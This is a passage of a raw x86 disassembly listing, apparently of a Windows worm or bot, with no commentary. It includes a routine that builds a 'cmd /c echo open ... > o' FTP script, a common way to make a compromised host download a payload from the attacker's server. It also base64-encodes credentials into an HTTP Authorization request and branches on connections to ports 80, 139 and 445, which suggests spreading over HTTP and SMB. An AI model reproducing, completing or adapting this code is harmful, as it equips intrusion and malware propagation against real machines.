arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_431D18
		push	[ebp+arg_0]
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 48h
		jnz	short loc_40D019
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40CE40
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D019
		cmp	[ebp+var_20], 82h
		jz	short loc_40D01D


loc_40D019:				; CODE XREF: sub_40CFDE+1Bj
					; sub_40CFDE+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D01D:				; CODE XREF: sub_40CFDE+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CF04
		add	esp, 0Ch
		leave
		retn
sub_40CFDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D030	proc near		; CODE XREF: sub_40D07C+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_427690
		call	sub_41C798
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_427688
		fstp	[esp+10h+var_10]
		call	sub_41C679
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41C798
		inc	eax
		leave
		retn
sub_40D030	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D07C	proc near		; CODE XREF: sub_40D21E+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_426DF7
		call	sub_41CC64
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40D6B3
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40D030
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40D0BE
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D62E


loc_40D0BE:				; CODE XREF: sub_40D07C+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D1DB
		mov	ebx, [ebp+10h]


loc_40D0CD:				; CODE XREF: sub_40D07C+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D0D7
		push	3
		jmp	short loc_40D0E9
; ---------------------------------------------------------------------------


loc_40D0D7:				; CODE XREF: sub_40D07C+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D0E1
		push	2
		jmp	short loc_40D0E9
; ---------------------------------------------------------------------------


loc_40D0E1:				; CODE XREF: sub_40D07C+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40D0EA
		push	1


loc_40D0E9:				; CODE XREF: sub_40D07C+59j
					; sub_40D07C+63j
		pop	ebx


loc_40D0EA:				; CODE XREF: sub_40D07C+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_4276A0
		fstp	[esp+40h+var_40]
		call	sub_41C7BF
		pop	ecx
		pop	ecx
		call	sub_41C798
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40D129
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40D129:				; CODE XREF: sub_40D07C+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40D197
		add	[ebp-18h], eax


loc_40D17B:				; CODE XREF: sub_40D07C+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_431D64[eax]
		push	eax
		push	1
		call	sub_40D4B0
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D17B


loc_40D197:				; CODE XREF: sub_40D07C+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D1B5
		push	dword ptr [ebp+14h]
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D509
		mov	[ebp-18h], edi


loc_40D1B5:				; CODE XREF: sub_40D07C+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D1CF
		sub	esi, [ebp-1Ch]


loc_40D1C0:				; CODE XREF: sub_40D07C+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D4B0
		dec	esi
		jnz	short loc_40D1C0


loc_40D1CF:				; CODE XREF: sub_40D07C+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40D0CD
		push	1
		pop	ebx


loc_40D1DB:				; CODE XREF: sub_40D07C+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B3
		push	dword_427698
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40D560
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D6B3
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D07C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D21E	proc near		; CODE XREF: ___:0040D41Bp
		mov	eax, offset loc_426E14
		call	sub_41CC64
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset dword_43D128
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40D07C
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41B4D5
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D268
		xor	bl, bl
		jmp	short loc_40D2AC
; ---------------------------------------------------------------------------


loc_40D268:				; CODE XREF: sub_40D21E+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_4276A8
		cmp	ecx, ebx
		jnz	short loc_40D276
		mov	ecx, eax


loc_40D276:				; CODE XREF: sub_40D21E+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D27E
		mov	eax, [ebp+18h]


loc_40D27E:				; CODE XREF: sub_40D21E+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41B980
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4CAFC4
		cmp	eax, esi
		jz	short loc_40D2A3
		xor	bl, bl
		jmp	short loc_40D2A5
; ---------------------------------------------------------------------------


loc_40D2A3:				; CODE XREF: sub_40D21E+7Fj
		mov	bl, 1


loc_40D2A5:				; CODE XREF: sub_40D21E+83j
		push	edi
		call	sub_41B0B1
		pop	ecx


loc_40D2AC:				; CODE XREF: sub_40D21E+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D6B3
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D6B3
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D21E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_431F10
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		mov	eax, offset byte_429108
		push	eax
		push	eax
		movzx	eax, word ptr dword_4CACB0
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AC0F
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41B980
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_431DA8
		push	eax
		call	sub_40CADA
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40D377
		xor	eax, eax
		jmp	loc_40D4A3
; ---------------------------------------------------------------------------


loc_40D377:				; CODE XREF: ___:0040D36Ej
		mov	[ebp-0Ch], esi


loc_40D37A:				; CODE XREF: ___:0040D47Aj
		test	esi, esi
		jnz	loc_40D480
		push	6
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D468
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4CAF74
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CAFB4
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D45D
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D425
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B3
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D6EF
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D21E
		add	esp, 1Ch
		jmp	short loc_40D45A
; ---------------------------------------------------------------------------


loc_40D425:				; CODE XREF: ___:0040D3E3j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D43F
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CFDE
		jmp	short loc_40D457
; ---------------------------------------------------------------------------


loc_40D43F:				; CODE XREF: ___:0040D42Fj
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D45D
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CF04


loc_40D457:				; CODE XREF: ___:0040D43Dj
		add	esp, 0Ch


loc_40D45A:				; CODE XREF: ___:0040D423j
		movzx	esi, al


loc_40D45D:				; CODE XREF: ___:0040D3D6j
					; ___:0040D449j
		push	ebx
		call	dword_4CB00C
		test	esi, esi
		jnz	short loc_40D473


loc_40D468:				; CODE XREF: ___:0040D393j
		push	3E8h
		call	near ptr 26903FCh
		nop


loc_40D473:				; CODE XREF: ___:0040D466j
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D37A


loc_40D480:				; CODE XREF: ___:0040D37Cj
		lea	ecx, [ebp-8]
		call	sub_40C8FF
		test	esi, esi
		jz	short loc_40D4A1
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_431410[eax]
		lea	eax, dword_431410[eax]


loc_40D4A1:				; CODE XREF: ___:0040D48Aj
		mov	eax, esi


loc_40D4A3:				; CODE XREF: ___:0040D372j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426DD8


loc_40D4A8:				; CODE XREF: sub_426DD8+3j
					; ___:00426DF1j ...
		push	1
		call	sub_40D6B3
		retn
; END OF FUNCTION CHUNK	FOR sub_426DD8

; =============== S U B	R O U T	I N E =======================================



sub_40D4B0	proc near		; CODE XREF: sub_40D07C+110p
					; sub_40D07C+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_427698
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D4CA
		call	sub_42669A


loc_40D4CA:				; CODE XREF: sub_40D4B0+13j
		test	ebx, ebx
		jbe	short loc_40D501
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D501
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41B590
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D501:				; CODE XREF: sub_40D4B0+1Cj
					; sub_40D4B0+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D4B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D509	proc near		; CODE XREF: sub_40D07C+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_427698
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D523
		call	sub_42669A


loc_40D523:				; CODE XREF: sub_40D509+13j
		test	ebx, ebx
		jbe	short loc_40D558
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D558
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40D558:				; CODE XREF: sub_40D509+1Cj
					; sub_40D509+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D509	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D560	proc near		; CODE XREF: sub_40D07C+17Cp
					; sub_4265B0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D578
		call	sub_426573


loc_40D578:				; CODE XREF: sub_40D560+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D58A
		mov	esi, [ebp+arg_8]


loc_40D58A:				; CODE XREF: sub_40D560+25j
		cmp	edi, ebx
		jnz	short loc_40D5AC
		push	dword_427698
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40D724
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D724
		jmp	short loc_40D625
; ---------------------------------------------------------------------------


loc_40D5AC:				; CODE XREF: sub_40D560+2Cj
		test	esi, esi
		jbe	short loc_40D5EF
		cmp	esi, eax
		jnz	short loc_40D5EF
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5C0
		mov	eax, offset dword_4276A8


loc_40D5C0:				; CODE XREF: sub_40D560+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D5EF
		push	1
		mov	ecx, edi
		call	sub_40D6B3
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5DB
		mov	eax, offset dword_4276A8


loc_40D5DB:				; CODE XREF: sub_40D560+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D625
; ---------------------------------------------------------------------------


loc_40D5EF:				; CODE XREF: sub_40D560+4Ej
					; sub_40D560+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D625
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D609
		mov	eax, offset dword_4276A8


loc_40D609:				; CODE XREF: sub_40D560+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_41C310
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_40D625:				; CODE XREF: sub_40D560+4Aj
					; sub_40D560+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D560	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D62E	proc near		; CODE XREF: sub_40D07C+3Dp
					; sub_40D4B0+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D640
		call	sub_42669A


loc_40D640:				; CODE XREF: sub_40D62E+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40D669
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40D669
		cmp	al, 0FFh
		jz	short loc_40D669
		cmp	edi, edx
		jnz	short loc_40D6A4
		dec	al
		push	edx
		mov	[ecx-1], al


loc_40D65E:				; CODE XREF: sub_40D62E+47j
		mov	ecx, esi
		call	sub_40D6B3


loc_40D665:				; CODE XREF: sub_40D62E+4Bj
					; sub_40D62E+52j
		xor	al, al
		jmp	short loc_40D6AE
; ---------------------------------------------------------------------------


loc_40D669:				; CODE XREF: sub_40D62E+19j
					; sub_40D62E+20j ...
		cmp	edi, edx
		jnz	short loc_40D682
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D677
		push	1
		jmp	short loc_40D65E
; ---------------------------------------------------------------------------


loc_40D677:				; CODE XREF: sub_40D62E+43j
		cmp	ecx, edx
		jz	short loc_40D665
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40D665
; ---------------------------------------------------------------------------


loc_40D682:				; CODE XREF: sub_40D62E+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D69F
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D694
		cmp	eax, edi
		jnb	short loc_40D6AC


loc_40D694:				; CODE XREF: sub_40D62E+60j
		push	1
		mov	ecx, esi
		call	sub_40D6B3
		jmp	short loc_40D6A4
; ---------------------------------------------------------------------------


loc_40D69F:				; CODE XREF: sub_40D62E+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D6AC


loc_40D6A4:				; CODE XREF: sub_40D62E+28j
					; sub_40D62E+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40D78B


loc_40D6AC:				; CODE XREF: sub_40D62E+64j
					; sub_40D62E+74j
		mov	al, 1


loc_40D6AE:				; CODE XREF: sub_40D62E+39j
		pop	edi
		pop	esi
		retn	8
sub_40D62E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6B3	proc near		; CODE XREF: sub_40D07C+1Fp
					; sub_40D07C+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D6DF
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D6DF
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40D6D8
		cmp	al, 0FFh
		jz	short loc_40D6D8
		dec	al
		mov	[ecx], al
		jmp	short loc_40D6DF
; ---------------------------------------------------------------------------


loc_40D6D8:				; CODE XREF: sub_40D6B3+19j
					; sub_40D6B3+1Dj
		push	ecx
		call	sub_41CC83
		pop	ecx


loc_40D6DF:				; CODE XREF: sub_40D6B3+8j
					; sub_40D6B3+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D6B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6EF	proc near		; CODE XREF: ___:0040D40Fp
					; sub_40D848+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D71D
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D71D:				; CODE XREF: sub_40D6EF+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D6EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D724	proc near		; CODE XREF: sub_40D560+39p
					; sub_40D560+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D737
		call	sub_426573


loc_40D737:				; CODE XREF: sub_40D724+Cj
		mov	ecx, edi
		call	sub_40D848
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40D74D
		mov	ebx, eax


loc_40D74D:				; CODE XREF: sub_40D724+25j
		test	ebx, ebx
		jbe	short loc_40D783
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41CC90
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D783
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40D783:				; CODE XREF: sub_40D724+2Bj
					; sub_40D724+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D724	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D78B	proc near		; CODE XREF: sub_40D62E+79p
		mov	eax, offset loc_426E20
		call	sub_41CC64
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40D7B1
		mov	edi, [ebp+8]


loc_40D7B1:				; CODE XREF: sub_40D78B+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40D7BE
		xor	eax, eax


loc_40D7BE:				; CODE XREF: sub_40D78B+2Fj
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40D7EF
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40D7D9
		xor	eax, eax


loc_40D7D9:				; CODE XREF: sub_40D78B+4Aj
		push	eax
		call	sub_41CFC5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40D7E9
		retn
; ---------------------------------------------------------------------------


loc_40D7E9:				; DATA XREF: sub_40D78B+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40D7EF:				; CODE XREF: sub_40D78B+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40D80D
		cmp	eax, edi
		jbe	short loc_40D7FC
		mov	eax, edi


loc_40D7FC:				; CODE XREF: sub_40D78B+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_41C310
		add	esp, 0Ch


loc_40D80D:				; CODE XREF: sub_40D78B+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D6B3
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40D82D
		mov	edi, ebx


loc_40D82D:				; CODE XREF: sub_40D78B+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40D78B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D848	proc near		; CODE XREF: sub_40D724+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40D875
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40D875
		cmp	al, 0FFh
		jz	short loc_40D875
		push	1
		call	sub_40D6B3
		push	esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D6EF


loc_40D875:				; CODE XREF: sub_40D848+9j
					; sub_40D848+10j ...
		pop	edi
		pop	esi
		retn
sub_40D848	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D878	proc near		; DATA XREF: ___:00429008o
		test	byte_4DB594, 1
		jnz	short loc_40D888
		or	byte_4DB594, 1


loc_40D888:				; CODE XREF: sub_40D878+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_41D040
		pop	ecx
		retn
sub_40D878	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D89A	proc near		; DATA XREF: ___:0042900Co
		jmp	$+5
sub_40D89A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40D89F	proc near
		mov	eax, dword_4321C8
		add	eax, 6
		mov	dword_4CDC94, eax
		retn
sub_40D89F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D8AD	proc near		; CODE XREF: sub_40D8AD+D0p
					; ___:0040DE0Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40D8C1
		or	[ebp+arg_7], 1
		jmp	short loc_40D8C5
; ---------------------------------------------------------------------------


loc_40D8C1:				; CODE XREF: sub_40D8AD+Cj
		and	[ebp+arg_7], 0FEh


loc_40D8C5:				; CODE XREF: sub_40D8AD+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40D8E9
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_40D8FB
; ---------------------------------------------------------------------------


loc_40D8E9:				; CODE XREF: sub_40D8AD+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1


loc_40D8FB:				; CODE XREF: sub_40D8AD+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_40D994
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jz	short loc_40D98B
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40D98B
		push	[ebp+arg_20]
		call	sub_41B0B1
